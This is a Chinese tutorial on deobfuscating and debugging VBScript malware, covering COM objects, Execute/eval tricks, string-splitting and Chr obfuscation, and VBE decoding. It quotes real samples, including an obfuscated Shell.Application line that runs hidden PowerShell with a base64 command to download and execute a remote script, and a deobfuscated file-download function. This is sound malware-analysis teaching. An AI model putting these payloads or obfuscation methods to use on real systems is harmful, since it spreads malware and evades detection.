语法使用
控制流语句
分析恶意代码时，掌握条件语句和循环语句的工作原理及解混淆的技巧非常重要，因为恶意代码的作者通常会使用这些方法来复杂化代码逻辑、隐藏恶意行为并增加对分析人员的困难。
条件语句
If...Then...Else语句
If...Then...Else语句在VBS中用来进行条件判断和执行不同的代码块。根据条件的结果选择执行一个代码块或另一个代码块。
根据条件判断是否成年：
Dim age
age = 18
If age >= 18 Then
WScript.Echo "成年"
Else
WScript.Echo "未成年"
End If
Select...Case语句
Select...Case语句在VBS中用于根据不同的条件选择执行不同的代码块，类似于其他语言中的switch...case语句。
根据条件判断周几：
Dim day
day = "Monday"
Select Case day
Case "Monday"
WScript.Echo "周一"
Case "Tuesday"
WScript.Echo "周二"
Case "Wednesday"
WScript.Echo "周三"
Case "Thursday"
WScript.Echo "周四"
Case "Friday"
WScript.Echo "周五"
Case Else
WScript.Echo "周末"
End Select
循环语句
For...Next 循环
For..Next循环是一种在 VBS中用于迭代指定范围的整数值的循环结构，支持使用关键字Step设置步长。
循环输出0-5：
For i = 0 To 5
WScript.Echo i
Next
通过关键字step带步长循环输出0，2，4：
For i = 0 To 5 Step 2
WScript.Echo i
Next
For Each...Next 循环
For Each...Next循环是一种在 VBS中用于迭代集合（如数组、集合对象等）元素的循环结构。
循环输出数组中的字符：
Iam0x17 = array("I","a","m","0","x","1","7")
For Each x In Iam0x17
WScript.Echo x
Next
Do...Loop循环
Do...Loop循环是一种在 VBS中用于重复执行一段代码块的循环结构，直到满足指定的条件为止。
根据条件循环输出0-4：
Dim count
count = 0
Do While count < 5
WScript.Echo count
count = count + 1
Loop
COM对象
在 Windows环境中，如果想要使用 VBS 与系统资源进行交互，一种常见的方法是利用 COM（Component Object Model）对象。COM 提供了一种标准的方式来与 Windows 系统的各种功能和资源进行通信。
通过 COM，你可以使用各种 COM 对象来访问和操作系统资源，如文件系统、注册表、网络功能等。在 JavaScript 中，可以使用CreateObject方法在创建对象引用，使用Set关键字可以将一个对象分配给变量。
以下列举出VBS恶意代码中经常使用的COM对象
文件系统对象
文件系统对象(FileSystemObject)用于管理文件和文件夹，执行文件操作，如创建、复制、删除和重命名文件等。
以下是利用FileSystemObject对象判断文件是否存在的混淆代码
Set tXGgxJSfaKwiAknYMxgbIkFtzrLQGjNlojxMo = CreateObject("Scripti"&"ng.FileS"&"ystemObject") : If tXGgxJSfaKwiAknYMxgbIkFtzrLQGjNlojxMo.FolderExists("c"&":use"&"rsoC")=false Then vvKfrwrFOsLdtXrsBjHbpTP(CzVSrYTOisCktDpoRvcYijGYVaUu)
Shell对象
Shell对象是用于与操作系统Shell进行交互的对象。主要使用的Shell对象有两种，WScript.Shell和Shell.Application。通过Shell对象，可以执行多种操作，如运行程序、操作文件和文件夹、创建快捷方式等。
以下是利用Shell.Application对象启动powershell命令下载执行的混淆代码
Dim FSO : Set FSO = CreateObject("Scripting.FileSystemObject")
If fso.FolderExists("C:\ProgramData\Microsoft\Windows") Then e = chr(69)
Set sh = createobject("sh"& e &"ll.application")
execute("pow = ""pow""& e &""rsh""& e &""ll""")
sh.ShellExecute "cmD."& e &"x"& e, "/c "& pow &" -nop -w hidd"& e &"n -"& e &"p bypass -"& e &"nc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AYQBtAGUAcgBpAGMAYQBuAG8AYwBvAGYAZgBlAGEALgByAHUAIgApAA==", "", "op"& e &"n", 0
网络对象
网络对象在VBScript中提供了进行网络操作的功能。由于VBS中可选择使用的网络对象有很多，这里只列举其中几种。MSXML2.XMLHTTP和WinHttp.WinHttpRequest对象可以发送HTTP请求，如GET、POST等，并获取响应结果；WScript.Network对象可以获取计算机的名称、用户名、域名等信息，还可以映查询和操作网络上的共享资源等。
以下是利用MSXML2.XMLHTTP网络对象进行下载解混淆后的函数
Public Function DownloadFile(url, path)
Set objReq = CreateObject("MSXML2.XMLHTTP")
objReq.open "GET", url, False
objReq.send
If objReq.Status = 200 Then
Set objStream = CreateObject("ADODB.Stream")
objStream.open
objStream.Type = 1
objStream.Write objReq.responseBody
objStream.Position = 0
objStream.SaveToFile path, 2
objStream.Close
Set objStream = Nothing
DownloadFile = True
End If
Set objReq = Nothing
End Function
错误机制
"On Error Resume Next" 是 VBS中的一个错误处理机制。当代码执行时遇到错误时，通常会导致脚本中断并抛出错误消息。但使用 "On Error Resume Next" 可以告诉脚本在出现错误时继续执行下一行代码，而不中断脚本的执行。
动态执行代码
动态执行代码可以根据需要执行不同的代码块或根据外部数据动态生成并执行代码，增加代码的灵活性和高效性。然而，攻击者利用这一特性，将关键代码片段加密、压缩或混淆，并在运行时进行解密、解压缩或解混淆，以逃避常规的安全检测和防御机制。
在VBScript中，动态执行代码有以下三种使用方式
Sub vbs_exec(code) :eval("execute(code)") : End Sub
vbs_exec("result = 1 + 2 : MsgBox result")
ExecuteGlobal "result = 1 + 2 : MsgBox result"
execute("result = 1 + 2 : MsgBox result")
基础混淆手法
&字符插入混淆
在VBS脚本中，&字符是用作字符串拼接操作符。它的作用是将两个字符串连接在一起，形成一个新的字符串。攻击者会利用&字符进行简单混淆。
Chr编码混淆
Chr编码是一种编码技术，通过使用编程语言中的Chr函数将字符转换为对应的 ASCII 值。例如，Chr(65) 将返回字符 "A"。在VBS脚本中Chr编码混淆是一种常见的混淆手段。
数据输出
无论采用何种混淆加密方法，数据和代码在使用前都需要被还原，以便作为参数传递给函数或进行动态执行。在这一还原阶段，我们有机会立即获取解密后的输出，并将其打印或写入文件。这种方式特别适合利用代码动态执行的混淆脚本。
打印输出
WScript.Echo是VBS的一种输出方法，用于将文本或者变量的值输出到控制台或弹出消息框。这里要注意，由于我们是进行分析恶意代码，输出的值可能很长，不适合使用弹框方式去展示。因此我们在使用的可以通过命令行工具输入cscript script.vbs去运行脚本，这样即可在控制台中输出。
content = "test"
'打印输出并换行
WScript.Echo content
'打印输出不换行换行
WScript.StdOut.Write content
文件写入
前面已经介绍过文件系统对象FileSystemObject，面对过长的数据，在控制台查看输出不方便时，可以将解密的数据输出到文件中。
Sub WriteToFile(filePath, content)
' 创建 FileSystemObject 对象
Set fso = CreateObject("Scripting.FileSystemObject")
' 创建文本文件，并打开用于写入内容
Set file = fso.CreateTextFile(filePath)
' 写入内容到文件
file.Write content
' 关闭文件
file.Close
' 释放对象
Set file = Nothing
Set fso = Nothing
End Sub
' 调用函数进行文件写入
filePath = "file.txt" ' 指定要写入的文件路径
content = "test" ' 要写入的文本内容
WriteToFile filePath, content
实例分析
两个例子都是存在动态执行代码函数的，分别使用打印输出和文件写入的方式获取解密后的代码。
SHA1: 742e8e1701b03a0638eec505e17ad453a612ac5e
对于这个混淆代码，我们关注其中两点即可，一是存在动态执行代码的函数，二是有调用
Sub vvKfrwrFOsLdtXrsBjHbpTP(yPpuUKXHEmSDWkSNcMKmECLjVh) : eval("execute(yPpuUKXHEmSDWkSNcMKmECLjVh)") : End Sub
vvKfrwrFOsLdtXrsBjHbpTP(CzVSrYTOisCktDpoRvcYijGYVaUu)
所以要动态执行的代码片段一定是CzVSrYTOisCktDpoRvcYijGYVaUu这个变量，将执行代码注释掉，然后打印该变量即可得到还原的代码。
SHA1: 7e288260106a9a06542a1c8eb74bd98e40ce4978
这里将Execute函数变为写入文件
Execute (aqswdeaq(ewaq56nhjuy(67), qwert41))
解密后的部分代码
动态调试
VBS动态调试工具并不多，我使用过的有两种：VbsEdit，轻量级，但容易出现崩溃；Visual Studio，功能强大，唯一的缺点就是太重。
综合上述因素，我这里选择的是使用Visual Studio作为动态调试的工具。
VS配置
以管理员权限启动VS，操作选项卡：调试->选项->实时，确保实时调试下的脚本选项属于勾选状态。
方式一
配置好VS后，在管理员权限的命令行工具输入cscript /x script.vbs(也可以使用wscript代替cscript)命令启动调试模式。
执行命令后会出现如下弹框，选择调试cscript.exe
点击确定
断点已经出现在脚本第一行代码处，此时已经可以进行调试分析，通过变量输出的信息去除混淆。
方式二
使用VS外部工具选项进行调试
以管理员权限启动VS，操作选项卡：工具->外部工具->添加
配置好后，工具选项卡中即会出现新配置的外部工具选项。
使用VS打开要调试的脚本文件，然后点击我们刚配置好的Script Debug选项，实时调试选项框便会弹出。
点击确定后即可进入调试。
VBE文件解码
我们在分析样本时，会遇见这样好像一堆乱码的文件，但是加上vbe后缀仍可以正常执行。其实这种就是被编码后的VBS文件。
SHA1: d8244d9c1650f9815160b762e121afbae29fedb9
VBE解码工具有很多，我这里选择的是github上的一个脚本
解码后的代码
扫一扫
1万+
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
